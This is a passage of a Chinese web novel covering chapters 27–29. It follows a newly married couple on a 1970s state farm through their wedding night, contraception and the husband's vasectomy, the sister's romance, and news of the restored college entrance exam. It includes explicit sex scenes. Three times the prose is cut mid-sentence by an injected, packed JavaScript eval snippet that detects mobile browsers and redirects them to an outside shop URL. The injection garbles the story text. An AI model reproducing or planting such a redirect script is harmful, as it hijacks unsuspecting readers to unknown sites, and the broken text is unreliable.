陆宗青却忽地将她抱起,脸贴在了她的胸口,“我是在做梦么?” “不是呀。”孟逐星抚摸他微微刺手的短发,“你喝了多少酒呀就开始犯傻。” 他倒也不是真的傻,而是此时的语气神态与平时截然不同,看着有股子天真的萌,让人忍不住想欺负一下。 孟逐星也真的这么做了。 她低头吻上他的唇,轻咬了一口,“梦里可不会疼的吧?” “嗯。”陆宗青喘息沉了几分,用力回吻着她,他力气太大,就这样抱着她亲了好久。孟逐星瞥见外面的天都黑了,但窗帘还没拉,连忙拍了拍他的肩,指挥道:“拉帘子。” 陆宗青依言照做,却没有放开她,反而又将她抱上了床。 “啊……”孟逐星被床上的花生红枣给硌了一下,脸皱成了一团,陆宗青低声安抚,“很疼么?让我看看。” 修长手指解开了她的衣服扣子。 孟逐星穿了件米白色圆领毛衣,柔软而修身,胸口因为她的呼吸而微微起伏。 陆宗青将花生红枣拨到床尾,凝着她的眼睛,“给我看看?” 明知道他是担心自己的后背有没有被硌伤,但这话听在耳朵里就有点儿暧昧。 孟逐星已经很久不去读他的心,此时四目相对,对话框顿时弹了出来—— 【……我这样会不会吓着她?】 她忍不住弯起唇角,抬起手臂,“宗青哥哥帮我脱。” 陆宗青抿了抿唇,手上动作轻柔,毛衣擦过头发时发出轻微的静电声响。 他轻抚了抚她的鬓发,目光落在她身上,呼吸渐沉。 纯棉的白色内衣下,是比雪还白上几分的肌肤。 【好白。】 孟逐星耳根微热,肩被他握住,眼前一暗,嘴唇便被他给吻住。 他似乎在极力克制着,不想太过粗鲁急切而吓到她。 初时孟逐星还挺享受这种温柔,但过了好一会儿,他还是只流连于唇瓣,连手都十分老实,她就有点按捺不住了。 反客为主,将他压在了下面。 屋里的红蜡烛燃得正旺,烛光摇曳,映在白色床帐上,勾勒出旖旎纤窈的身影。 孟逐星向来不会委屈自己,她喜欢什么,想做什么,只要不违法乱纪伤害他人,她都会尽力满足自己让自己尽兴。 今天的洞房花烛也是如此,她要狠狠将这个惦记了一年多的男人给睡了。 前面陆宗青亲她有多温柔,此时她撩拨他就有多过分。 陆宗青喘息渐重,黑眸中氤氲着晦暗不明的情绪。 孟逐星看得着迷,握住了他的手,他的手指骨节分明,指腹长有一层薄茧,手掌摩挲,她不由地轻颤,伏在他的颈窝。 陆宗青可以称得上是世间最为耐心的猎手,哪怕他身体紧绷到极点,他仍然耐心地亲着她,直到她红了脸软着身子,他才去解自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732942|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服。 白衬衫变得有些皱巴,却给他的脸增添了几分不羁与野性。 他滚烫的手掌握住了她的腰肢,仿佛在把玩一枝杨柳,濡湿的感觉蔓延,孟逐星心跳得厉害,突然有点紧张。 “……会不会很疼?” 陆宗青额上青筋微跳,重重吻上她的唇,哑声道:“我尽量轻一点。” 可还是不太舒服,孟逐星眼眶都红了,张口便咬在了他的手背。 一枚清晰地牙印显现出来。 与此同时,陆宗青沉沉喘了声,薄唇堵住孟逐星的哭音,温柔舔舐安抚。 过了好一会儿,孟逐星感觉没那么难受了,轻轻动了一下。 “不疼了?”陆宗青在她耳边哑声问。 孟逐星没说话,径直吻上了他的唇。 …… 五分钟后,两人都有些尴尬。 陆宗青俊脸薄红,“对不起,我……” 孟逐星抬手掩住他的唇,“别说了,我都懂。” 第一次嘛,懂得都懂。 而且能被她撩拨那么久还坚持了五分钟的,孟逐星已经觉得他很厉害了好嘛! 她本来想下床喝点水中场休息一下,却没想到下一瞬就被压倒在床,“这次不会了。” 四十分钟后,孟逐星气喘吁吁身软如泥,亲了亲陆宗青的脸颊,“……好棒啊宗青哥哥。” 某人丝毫不显疲惫,甚至还因为被老婆夸奖而更有精神和干劲儿。 喝了水略作休息后,他将孟逐星抱了起来。 不得不说,他在这方面确实很有天赋,哪怕是抱着这种高难度动作,他也非常稳、猛。 好在孟逐星的身子也很敏感,两人如鱼得水,直到后半夜她举了白旗,陆宗青才意犹未尽地鸣鼓收兵。 孟逐星有气无力道:“好哥哥,要懂得可持续发展呀。” 陆宗青精神奕奕地点了点头,“都听你的。” 他打了水为她清理,之后将她搂在怀中,凝望着她的睡颜,许久之后才阖上了眼睛。 第二天,孟逐星睡到了自然醒,一睁开眼见屋里还有点暗,她本以为时间还早,就见陆宗青走过来问:“醒了?饿不饿?我做了早饭,要不要起来吃点儿?” “几点了?”一开口,她才发现她的声音怎么有点沙哑? 陆宗青看了眼腕上的手表,“11点半了。” “啊,这么晚了,你怎么也不叫我呀?” 陆宗青给她递了杯温水,“起来也没什么事,就想让你多休息会儿。” 孟逐星喝了几口水,感觉人彻底清醒了,“你几点起来的?今天不去队里吗?” “首长给我批了两天假,我在家陪你。”陆宗青摸了摸她的脸,“我早上六点多就醒了,睡不着出去跑了一小时,回来又简单洗了个澡。” 孟逐星一脸见到鬼的样子看他,“……你精力也太旺盛了。” 陆宗青含笑看她,“也许,都是你的功劳。” “嗯?” 她一时没反应过来,见他目光下移,耳根微红,这才明白他说的是什么意思。 怪不得她醒来感觉这么饿…… 吃了饭,孟逐星还有点儿乏,陆宗青提议和她一起再躺会儿,被她连连摆手拒绝,“……我看外面天气挺好的,我们还是出去转转吧。” 跟他一起在床上躺,她怕会发生让她更累的事。 “好。” 穿好衣服后两人手牵手出了门,遇到相熟的人时难免会被打趣恭喜一番,孟逐星也不忸怩,笑眯眯地回应。 走着走着,孟逐星忽然想起一件特别重要的事—— 我的老天奶,昨天,他们没有采取避孕措施啊!! 27. 第 27 章 见她突然变了脸色,陆宗青关切问:“怎么了,哪里不舒服吗?” “宗青哥,”孟逐星声音紧绷,“昨天我们没有避孕……我会不会……” 陆宗青握紧她的手,“都是我不好,我现在就骑车去镇上买药,你要回我的宿舍,还是去和思甜说会儿话?” “别担心,时间来得及。” 他之前看过这方面的书,了解一些,只是昨天被喜悦冲昏了头脑,他就把这事儿给忘得一干二净。 “你放心,以后都不会这样了。” “嗯?” “我会去药店买点东西。” …… 孟逐星心下稍安,回了小院,莫莉莉四人都去上班了,陆思甜正在院子里晾衣服。 见她来了,陆思甜笑嘻嘻道:“姐——不对,该改口叫嫂子了。” 孟逐星过去跟她搭手晾,笑道:“我觉得还是叫姐比较习惯。” “姐,昨天晚上睡得好吗?” “唔,还行。” 陆思甜想打听点儿更具体的,但脸皮薄不好意思开口,啥也没说呢就把自己闹了个大红脸。 孟逐星忍不住笑出了声:“你要是真好奇,就早点和人家小许确定关系,早点结婚。” “我才不要,我可还记得你之前说的话呢,多读书,晚结婚甚至不结婚。”陆思甜顿了一下,“不过我已经和他在处对象了。” “嗯?什么时候开始的?” “就上回在晒谷场看完电影之后。” “嚯,这都快三个月了,你们保密工作做得够好的啊!” 陆思甜挽住她的手,“姐,你先别跟我哥说这事儿,要不然他肯定要去考察文斌……我们俩也才刚开始呢,我不想彼此有太大压力。” “我看你是不想他有太大压力吧?” “才不是,我是觉得本来处对象是我俩的事,我哥要是掺和进来了,就变复杂了,好像我已经打算跟他结婚似的。” “先不说这个了,姐你今天还去猪场吗?” “当然要去,再喂几天就要出栏了。” 两人一块儿去了养猪场。 结婚归结婚,正事儿可不能丢。 到了傍晚,陆宗青回来了,孟逐星正在他宿舍里看书,见他从兜里掏出了两样东西。 一个小纸包,一只长方形的盒子,赫然写着那三个字。 “先把药吃了。”陆宗青递过来一杯温水,脸上满是歉疚,“对不起星星,我保证这是你最后一次吃药。” “没关系啦。”孟逐星取开药接过水,将药丸吞服,“以后我们就用这个?” 她指了指一旁的避孕套,眼神中满是好奇,听说这会儿的套还没有润滑成分,且因为产量不多,许多人都会洗干净、涂点滑石粉保存后重复利用,会有损身体健康…… 陆宗青道:“我除了买这些,还去了趟医院预约手术。” “啊?你生病了吗?”孟逐星瞬间紧张起来,“昨天不还龙精虎猛的……” 陆宗青耳根微红,咳了一声:“我没病,就是想做个小手术。” 他补充道,“结扎手术。” 孟逐星懵了:“你……你不准备要孩子了吗?” 陆宗青抱住她,“不是,我仔细咨询过医生,他们说这个手术没什么风险,且是可逆的,以后也可以恢复。” 他顿了顿,“当然如果你不想生,那咱们就不要,咱们俩人过好这一生就好了。” 孟逐星愣住,难以置信地看着他,“你真的想好了吗?万一以后不能恢复正常……” 陆宗青亲了亲她的额头,笑道:“那也没什么,正好顺应天意。” “其实你用套就可以的……” 他摇头,“我问了医生,套的质量不太行,容易破损,风险也很大。我知道你的理想与抱负,并不想这么早就被生儿育女绊住脚步,所以我决定这么做。” 孟逐星心头震动,怔怔地看着他:“宗青哥哥,你这么为我着想,我很感动,只是我怕你以后会后悔……” 陆宗青微微挑眉:“我不会后悔。” 见她仍蹙着眉,他又道:“即使后悔,这也是我自己做的决定,与你无关,你不要有什么压力。我还是和从前一样,希望你开心快乐。” “宗青哥哥……”孟逐星眼眶微红,“你是世界上对我最好的人。” 陆宗青抚摸她的发顶,温柔道:“那也要感谢你给我机会对你好。” 孟逐星破涕而笑:“你从哪里学的油腔滑调?” 陆宗青低笑道:“说实话而已。” 啊啊啊啊啊!果然真诚才是必杀技么! 孟逐星抱着他腻歪了一会儿,“那你约的是什么时候?” “五天后。” “到时候我陪你一起。” 她突然瞥见那盒子上写的个数,眼皮冷不丁一跳,10只装。 “你是打算在手术前把它们用完?” “嗯。” “……” “趁现在我们来试一下,好不好?” 孟逐星脑海中瞬间闪过昨夜的种种,食髓知味,腰后一阵酥麻,“可天还没黑呢……” 她语气软绵,没有丝毫拒绝的意思。 陆宗青眸光微暗,俯身将她抱了起来,低头吻了上去。 过去这几个月以及昨夜的经验,让孟逐星深刻意识到陆宗青是个服务意识非常强的人,每回都是先让她舒服了,他才开始慢条斯理地让两人都愉悦。 似乎是碍于两人体型的差异,他总怕压坏了她,喜欢抱着她,或者她在上。 从前看漫画时,孟逐星就很喜欢一些肤色差、体型差,更喜欢向来冷峻的酷哥因为女主而变得温柔。 如今这些都在陆宗青身上得以实现。 …… “这东西也太一言难尽了吧。”孟逐星坐在陆宗青腿上喝水,看他拎起来打个结丢进了垃圾桶袋。 “以后会慢慢改善的。” 陆宗青低头亲了亲她微湿的鬓发,将她抱放在床上,起身穿好衣服,端了水盆过来,卷起衣袖要给她擦洗,被孟逐星连忙阻止—— “我自己来就好了。” 陆宗青深深看了她一眼,“害羞?” “怎么会!”孟逐星佯作淡定,“我是怕你手劲儿太大弄疼我。” “改天给我个机会证明一下自己。” “……” 孟逐星脸上直冒热气,两人虽然酱酱酿酿了,但他却没有……咳,主要原因也是她有点放不开,或许改天灯光暗一点试试? “星星,你的脸怎么这么红?” “……没什么,我好饿啊,什么时候可以吃饭?” “等我一会儿,很快就做好。” 陆宗青动作麻利地炒了两个菜,煮了小米粥,又热了一小筐杂粮馒头。孟逐星是真的有点饿,不过也没用多久就吃饱了,就托腮看着他吃饭。 他吃得快,却很赏心悦目,风卷残云,没多会儿就把菜和馒头都吃完了,还喝了两碗粥。 ……怪不得体力这么好呢。 吃罢饭,外面起风了,大风吹得窗户直响。 陆宗青收拾完碗筷洗干净,又打了水给两人洗漱,被窝里有点凉,孟逐星便将脚放在他的小腿中间,后者主动将她拥入怀里。 “天渐渐冷了,无论是你原来住的地方,还是我这里,冬天屋里都不咋暖和,再过半个月咱们就搬进新家住吧?” “好啊。” 孟逐星对这个并没什么意见,房子盖得简单,就刷了个大白墙,要说有味儿也就是买的那几件家具,但那些也是在人家院子里放了好久的,气味也不算重。 她突然想起白天陆思甜说的话,试探着问:“思甜今年十八岁了,你有没有想过给她找个对象什么的?” 陆宗青把玩着她的一缕乌发,“你想说文斌那孩子?” “啊,你知道啊?” “那小子就在我眼皮子底下,脸上藏不住一点儿事,我想不知道也难。” “那你怎么想?支持还是反对?” “文斌长得不错,性子也很温和,如果只是处对象我没什么意见。” “但是?” “但是如果要结婚,我觉得还是要考虑一下他的家庭的。” 孟逐星小声问:“怎么,他成分不好?” 陆宗青亲了亲她的鼻尖,“算是吧,不过这都是后话……”他的唇渐渐下移,落在了她的唇瓣上,“不困?我帮帮你。” “……” 五天后,孟逐星陪陆宗青去做了手术。 过程很顺利,陆宗青出来时除了走路姿势有点点异样,看着与之前没啥区别。 孟逐星过去扶着他,小声问:“疼不疼?” “不疼。” “医生有没有说什么特别要注意的?” “一周不能碰水,半个月不能行房,之后三个月需要继续避孕。” “哦,这么久啊……”孟逐星语气遗憾地小声嘀咕,可脸上却洋溢着灿烂笑容,“也好,大家都歇一歇。” 陆宗青瞥了她一眼,低笑:“我可没说半个累字。” 孟逐星赶忙服软,“好好好,是我累,我请求休息几天。” 某人言出必行,说要用完10只就一个也不许剩。 可怜她白天忙着看书学习,晚上也不能早点睡觉。 不过有一说一,虽然睡觉时间晚了,但睡眠质量却上来了……咳,也算是一件好事儿? ** 将猪场里的猪留了一头,其余的都卖到了供销社,孟逐星的存折金额又增加了不少。 下第一场雪时,她请人杀年猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732943|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,猪血、猪下水等分送给了左右邻居,猪肉则留着搬家后燎锅底。 搬家那天天气晴好,三个人东西都不多,没一会儿就搬完了,李少阳还特应景地放了两盘鞭炮。 许文斌、周阳、莫莉莉四人都带了礼物,一起帮忙收拾,孟逐星一大早便去买了很多菜,新灶开火,陆宗青准备一展身手。 小院里有了烟火气儿,顿时显得不那么空旷。 碗筷摆好,饭菜上齐后,众人围着圆桌落座。 众人起哄让一家之主说几句,目光下意识地都看向陆宗青,没想到他却看着孟逐星道:“星星是我们家的领导,她来说吧。” 孟逐星也有点愣住,笑着起身举杯:“今天是我和宗青哥的乔迁之喜,感谢各位兄弟姐妹前来帮忙捧场,酒微菜薄,还望大家不要嫌弃。” “妈呀这也算薄?”周蒙一口大碴子味儿,“说是过年的团圆饭也没人会怀疑啊!” 众人大笑。 周阳道:“我陆哥就是豪气,知道有我们几个能吃的家伙来,他还特地做了这么多肉菜给我们解馋。来嫂子、陆哥,我敬你们一杯。” 因为晚上还要执勤,他就以茶代酒喝了。 “大伙儿一起吃个饭而已,就别敬来敬去的了。”陆宗青笑道,“吃得尽兴就好。” 嘴贫的李少阳怎么会放过这么个大好机会,端着酒杯凑单孟逐星面前,洪亮地叫了声:“孟首长好!小的敬您一杯。” 孟逐星没忍住笑:“可不许乱喊啊!玩笑话你也当真。” 李少阳笑嘻嘻道:“我可没开玩笑,在座的各位谁不知道啊,您对我们陆排长管教有方,将他塑造成了一个‘模范爱妻标兵’,名号响彻农场……” 他还想继续跑火车,被莫莉莉冷哼一声打断,“哟,你要是羡慕你也找个人管管你呗。” “我什么时候羡慕了?”李少阳嘶了一声,“嘿我说莫莉莉,我就纳闷儿了,怎么咱俩每回见面你都要呲我几句?我哪里得罪你了吗?” 莫莉莉说:“没得罪,我就是看不惯你。” 李少阳都气笑了,摆了摆手,“行,好男不跟女斗,以后再见着你我就躲着走。” 莫莉莉愤愤看了他一眼,扭过头去。 一旁的孟逐星赶忙劝架,将两个不对付的死对头隔远了些,这才没继续闹下去。 饭后,莫莉莉没立马走,而是跟孟逐星道了歉,“对不起逐星,我刚才那样弄得你们挺尴尬的。” “没关系呀,小事而已,再说我们都习惯你俩一见面就吵了,要是哪天你们突然变得和谐,那才叫人意外呢!” 莫莉莉嘀咕道:“谁会跟他和谐共处啊,再说我马上就要回家了,以后见不见得到还另说。” “你返城的事儿有信儿了?” “嗯,年前就能走。”莫莉莉眼圈儿微红,“这么一说我马上就见不到你们了。” 孟逐星安慰她:“那有什么,兴许以后我们也去首都呢!到时候去找你玩你可别不理我们。” “怎么会!”莫莉莉当即把她家的地址写在了纸上,“我家就在这儿,到时候你们来了一定来找我,我请你们吃饭,带你们逛街去!” “好呀,一言为定。” 陆宗青收拾完碗筷桌椅,洗干净手进屋时,见孟逐星正在拆礼物。 有的是一盆绿植,有的是两盒桃酥,还有的表面看是个小锦盒,打开后里面放着朴实无华的六块钱。 “我猜这钱是少阳送的,这枕巾和床单应该是慧敏姐。” 孟逐星笑着将东西收好,“思甜那屋都弄好了吗?天冷得多盖两床被子。” “嗯,炕也烧热了,她在整理衣柜。”陆宗青从身后抱住她,低头亲吻她的后颈,“我烧了热水,待会儿一起洗?” “屋里冷不冷呀?”孟逐星被他亲得有点儿痒,笑着想躲,却被他横抱起来亲得更重,“不冷,门窗我封好了,里面都是热气。” 新家地方宽敞,考虑到冬天洗漱方便,便在屋里留了个灶,可以随时烧水,除了洗手台、凳子、衣架外,孟逐星还特地请人做了两个大木桶,表面打磨光滑,给三人当做浴桶使用。 此时,浴室内热气缭绕,一进门就觉得身上一暖。 其中一个浴桶内灌满了热水,正冒着白烟。 孟逐星喘了一声,手指抬起陆宗青埋在胸口的俊脸,“宗青哥哥真是能干呀,这么快就干了这么多活儿。” 陆宗青侧头吻上她的指尖,“还有一件最重要的事还没做。” “什么?” “伺候老婆。” 他啄吻她的指尖,轻微的痒,孟逐星笑着伸手去戳他的舌尖,却被他反口咬住。 “啊!你是小狗吗?” “可以是。” 陆宗青解开她的衣服,丢在衣架上,将她抱起踏进了浴桶。 28. 第 28 章 水溢了一地。 孟逐星抱怨:“哎呀两个人太挤了。” “嗯?”陆宗青笑着亲她,“我以为这个大一点的是为我们两个人准备的。” 孟逐星脸微红,嘴硬道:“你想错了。” “嗯,是我自作多情,星星才没有想和我洗鸳鸯浴。” “……” 就很烦。 孟逐星抬头吻上他的唇,十分用力,似乎是恼羞成怒了,陆宗青黑眸含笑,由着她胡乱咬了一会儿,在她累了停下时才开口问:“满意了?” 回答他的是少女通红的耳根。 他心中一荡,低头温柔地亲了亲她通红的耳垂,“手术做完已经半个多月了。” 孟逐星明白了他的暗示,心头猛地一跳,“在这儿?” “别急,先在这儿来一回。” “……”谁急了啊! 铺天盖地的吻袭来,孟逐星很快就身体发软,由他摆布了。 …… 结束后,她被裹成粽子抱了出去。 屋里点着煤油灯,发出昏黄的暖光。 孟逐星被按在了暖乎乎的炕床上,棉花被子罩在两人身上,陆宗俯身笼罩着她,突然开口:“现在好像挺暗的。” “嗯?” 在她还没反应过来时,他身子已经滑了下去。 “唔!”孟逐星顿时瞪大眼。 在现代的时候,孟逐星虽然没谈过恋爱,但是在性方面并不是一张白纸。 除了乙游、漫画、小说,她还曾网购过不少成人用品。 一开始去取快递时还鬼鬼祟祟很怕被人发现,后来就气定神闲面不改色—— 成年人在法律允许的范围内好点色、对自己好一点,有啥问题吗? 于是她从羞耻心很重地小心探索,到后来毫无负担地放飞自我。 自然也明白对女人来说,真正的快乐源泉在什么地方。 从前的记忆涌出又淡去,孟逐星眼眸含泪拼命咬着被角,隐忍的呜咽声却显得更加引人遐想…… 自娱自乐时,她总是勇气不够,太过剧烈的话就会下意识逃走,然后再进行快感爬坡,循环往复。 可此时不同,修长有力的手按住了她,不容她抗拒,不许她逃离。 犹如脱了水的鱼,她胸口剧烈起伏喘息着,整个人仿佛是一只不断升空的热气球,寒冬天气身上都沁出了一层细汗。 终于,热气球飞到了山顶,映入眼帘的是灿烂夺目的晚霞。 孟逐星回过神来时,眼角在不由自主地流泪,近在咫尺的是陆宗青那张英气逼人的脸,他唇角鼻尖泛着湿润,正眸光含笑地看着她。 “还认为我会弄疼你吗?” “……不会。” 孟逐星脸上直冒热气,避开了他过于炽热的目光,又偷偷挪回来,“你、你这都是在哪儿学的?” “关于人体结构与生理的书上。”陆宗青低笑,“不过我还比较生疏,以后我多练练会更好。” “这还不够好啊……”孟逐星小声嘀咕,“再练练我就废了……” “什么?” “没什么,”她连忙装傻,“不早了咱们睡觉吧!” 陆宗青却将她翻抱在身,“不急。” “……”孟逐星俯身亲他下巴,“宗青哥哥你不困吗?” 陆宗青黑眸湛亮,“你觉得呢?” 两人肌肤相贴,孟逐星清晰地感觉到他的状态,不禁有些气闷:“明明是你出力更多,为什么你一点儿都不累?” “都是练出来的,明天起跟我一块儿去晨跑?” “……起不来。” 宝剑入鞘。 孟逐星喘了一声,手撑在他坚实的胸膛上,“况且现在天这么冷,我、我要是跟你出去再冻感冒了,多不值当……呀……” 陆宗青笑着直起身亲她,“你就是犯懒怕吃苦。” “有的选的话,谁喜欢吃苦呀?”孟逐星修长的脖颈微仰,脱力地伏在他肩上,捏了捏他宽阔饱满的肩头肌肉,很是满意。 “那以后天气暖和了,陪我一起?”陆宗青吻去她鬓边的汗水,“我没有别的私心,只是想让你强身健体而已。” “真的没有一点点私心?”孟逐星像猫一样眯了眯眼睛,杏眸闪过狡黠,“我才不信呢。” 陆宗青笑了笑,低头堵住了她的唇。 ** 几天后,又下了一场大雪。 外面白雪皑皑,孟逐星却没了出去打雪仗的兴致,她来月经了,窝在炕上看报纸打发时间,旁边小桌上有陆宗青给她准备的零食、热姜茶。 陆思甜在边上看书,两人时不时聊会儿天。 “唉……”在她再次叹气时,孟逐星忍不住问:“怎么了?和文斌闹别扭了?” “差不多吧,他家里人想让他过年回去一趟。” “这怎么了?” “回家给她介绍对象。” “啊?”孟逐星腾地直起身,“他家里不知道你的存在吗?” 陆思甜点头,“知道,但是就不看好我呗,觉得我没什么文化,又是小山村出来的,配不上他家好大儿。” 孟逐星很气,“他家里啥条件啊,你这么好的姑娘他们还看不上?!” “他爸妈都是大学里的教授,很多亲戚也都是文化人,以前……最近都平反了,觉得他年纪也不小了,又是家里的独苗儿,该找个合适的人结婚传宗接代了。” “什么样是合适的人?门当户对?” “差不多吧,他没跟我细说,就是瞧着挺为难的。” 孟逐星都被气笑了,“他都这么大人了,还没有自己的主见吗?要是他犹犹豫豫,你干脆就踹了他!咱不稀罕这样的软蛋男!” 陆思甜倒不像她这么生气,反过来安慰道:“你别这么气,我心里都有数的,我给了他两天时间考虑,如果他决定回家相亲,那我们就一拍两散。” “你真的没事?” 陆思甜摇头,眼中闪过一抹迷茫,“我是有点不太高兴,但是也没有很伤心?姐,你说是不是我其实不怎么喜欢他啊?” “也许是这样,”孟逐星拍了拍她的手,“依我看,文斌这人性子有点软,他爸妈估计挺强势的,就算以后你俩结婚了,这婆媳关系也很难处,你过去了也是受罪,不如早点跑路。” “跑路?”陆思甜面露疑惑,“你是说跟他分开是吧?我是有这个想法,看他做什么决定吧,如果他愿意因为我而和家里人唱反调,那我就考虑再跟他处下去。” “至于结不结婚的,还早呢。”她翻了翻书页,小声说,“我可听来了一耳朵消息,有人说可能会恢复高考呢。” 孟逐星佯作惊讶:“当真?” “嗯嗯,甭管具体什么时候,如今有了这样的信儿流出,咱们就做好准备呗,我还想着以后去大城市上大学、见见世面呢!” 见她情绪稳定,并没有因为感情而受伤,孟逐星松了一口气之余,又不禁对面前秀气聪慧的少女刮目相看。 这两年她常在山里跑,又跟她一块儿喂鸡养猪种地,吃得比从前好,陆思甜再也不是之前体弱多病的小姑娘,她长高了,晒黑了些,却也更为健康。又因为一直在读书看报,跟宋若楠几人交流学习,眼界认知也渐渐跳出了山村。 陆思甜眉眼弯弯,说出的话却很豪气:“等哪天我成为一个顶厉害的人,有了更广阔的天地,这些就都不是事儿了。” “说得好!”孟逐星为她拍手,“到时候管他什么许文斌王文斌的,都滚一边儿去!” 两人说笑一回,又看了会儿书,到傍晚时,陆宗青从食堂打了饭菜回来,他将饭盒揣进军大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆思甜挠头,“可是姐你一点也不胖啊。” “不,我已经胖了不少了。”孟逐星隔着衣服冲他们展示了下自己的腰,“都有赘肉了!” 陆宗青深深看了她一眼,“我有法子帮你减肥,还不用饿肚子。” “真的?” “我什么时候骗过你?” 孟逐星腹诽,你在床上骗我的次数还少吗…… 不过见他一脸认真,她又真的没吃饱,于是就拿起了筷子,“这可是你说的啊,骗人是小狗。” “嗯。” 陆思甜在一旁抿嘴偷笑。 然而到了晚上,都三更半夜了,孟逐星还没能睡觉。 她又累又气,伸手拧他的腹肌,“不是说帮我吗?” 陆宗青挑眉,笑道:“这不就是?” “……?” 孟逐星感觉自己被骗了,却忽地被他抱坐在身上,“你来。” 他扶住她的后腰,“运动才是健康的减肥方式。” “只要每天都坚持个把小时,半个月后就见成效了。” 孟逐星瞪大眼,“每天?个把小时?你、你就不怕那什么而亡?” “嗯?” 孟逐星附在他耳边说了四个字。 “怀疑我?那就试试。” “哥我没有……” 半个月后,陆宗青和孟逐星都瘦了一些,两人还都神采奕奕的。 陆思甜啧啧称奇,想问她哥减肥方法,却被他一句“小孩子家的别乱打听”给搪塞过去。 ……所以到底是什么方法这么保密? 29. 第 29 章 随着漫长冬天过去的除了严寒,还有紧绷的风气。 春暖花开时,农场里陆续有知青返城,孟逐星和去年一样,养鸡养鸭养猪种地,闲暇时就看书做题。 有一回在地头上遇见了蒋熠,他骑车路过,见她正埋头苦读,不禁一愣,“你觉得读书还有用吗?” 他的语气有几分迟疑与迷茫。 孟逐星对他笑了笑:“有用啊,它能让人获得自由。” 蒋熠怔了怔,眼神微微闪动,对她点了点头,“你说得对。” 他骑着车子离开,明媚春光下,白衬衫在风中鼓起。 “你在看谁呢?” 陆宗青的声音冷不丁响起,语气有点儿怪。 孟逐星笑眯眯道:“我在看农场里最帅的蒋老师啊。” 陆宗青抿了抿唇,“他最帅?你也这么认为?” “嗯呢。” “……” 孟逐星见他不说话了,心里直乐,却装作不知情,两人回了家吃了饭,洗了澡上了床,陆宗青的神色仍然有点别扭。 啧,醋劲儿这么大? 她这还没怎么着呢,他就气成了这样,要是以后上了大学有男同学跟她表白,那他不得拿枪把人给突突了? 孟逐星正在胡思乱想,浑然没注意到陆宗青渐渐变暗的眼神,他忽地把她压在炕上,狠狠吻住了她。 他这回是醋狠了,力气特别重,弄得孟逐星没几下就眼泛泪花,软声说着好话,好哥哥好老公的叫了大半宿,才把某人给安抚好。 从那之后,孟逐星就不敢再拿这个事儿调戏他,要不然最后吃苦受累的还是她自个儿。 七八月份时,有相熟的邻居婶子问孟逐星:“小孟啊,你和小陆也结婚快一年了,怎么肚子还没有动静啊?是不是有什么困难?不瞒你说,婶子认识一个大夫药方可灵了,包生男孩,无效退款。” 孟逐星:“…………” 她知道要是说了真话,肯定要被婶子给念叨,便搪塞说:“没困难,好着呢,孩子也在路上了。” “那就行,要不婶子还得一直惦记这事儿。” 孟逐星笑了笑,岔开了话题。 一九七七年十月,停止十年的高考恢复了,将于一个月后在全国范围内进行,消息飞遍大江南北,无数人欢欣落泪。 孟逐星和陆思甜相视一笑,并不惊讶,两人和之前一样,有条不紊地按计划学习着。 有人欢喜有人愁,和之前知青返城一样,有的知青已经在农场里结婚安了家,甚至有的连孩子都有了,一听说可以参加高考了,自然不愿意放弃这样的大好机会,可家里的老婆/老公就不乐意了,生怕他们一旦考上大学就再也不回来,不少家庭因为这事儿闹得鸡飞狗跳。 晚上洗漱完,孟逐星正坐在镜子前擦润肤膏,陆宗青从身后圈住她,低头嗅了嗅她颈间的香气,“你是不是有事瞒着我?” “嗯?” “你早就知道会恢复高考?” 要不然怎么会在两年前就开始看书学习,还暗示他这样做。 孟逐星装傻充愣,“啊?我又不是神仙,我怎么会预知未来呀。” “你真不知道?”陆宗青将她抱了起来,脸埋在她胸口,声音有点模糊不清,“我以为,这也是你的一个特异功能呢……” 他呼出的气息透过轻薄的衣衫,引起肌肤一阵颤栗,孟逐星怕痒地往后躲,他却再次逼近,甚至还探出了舌尖,隔着衣服,低下了头。 ……又出了一身汗,孟逐星觉得自己的澡白洗了。 陆宗青笑着亲她,“我抱你再去洗一遍。” 考虑到不少人要参加冬天的高考,部队也对这批人的任务做了调整,让他们有更多时间备考。 对于大部分人来说,都很久没摸书了,只有一个月的时间,冷不丁捡起来还是挺费劲的,但对孟逐星以及小院里的三个姑娘来说,这都不算事儿。 见她们几个气定神闲,便有人把自家男娃带过来,想让她们帮忙辅导辅导功课。 孟逐星说:“李婶儿,我可以帮石头辅导,不过有个条件。” “什么条件你尽管说,婶子一定答应。” “这个也不难,您把小花也一并带过来上课就行。” “花儿?”李婶儿愣了一下,“这丫头再过两年就要找婆家了,还上课干啥?” 孟逐星说:“您要是不愿意,那就算了,反正我也挺忙的,多一事不如少一事。” “哎别——婶子答应你就是了。”李婶儿嘀咕着,“花儿要是也来上课了,家里可没人洗衣做饭了。” 孟逐星装作没听见。 之后,李婶儿果然将两个孩子送来了,花儿虽然是姐姐,比石头大一岁,但却比他还瘦小,小脸儿蜡黄,一双眼睛却很黑亮,她有点底子,听孟逐星讲话时特别认真。 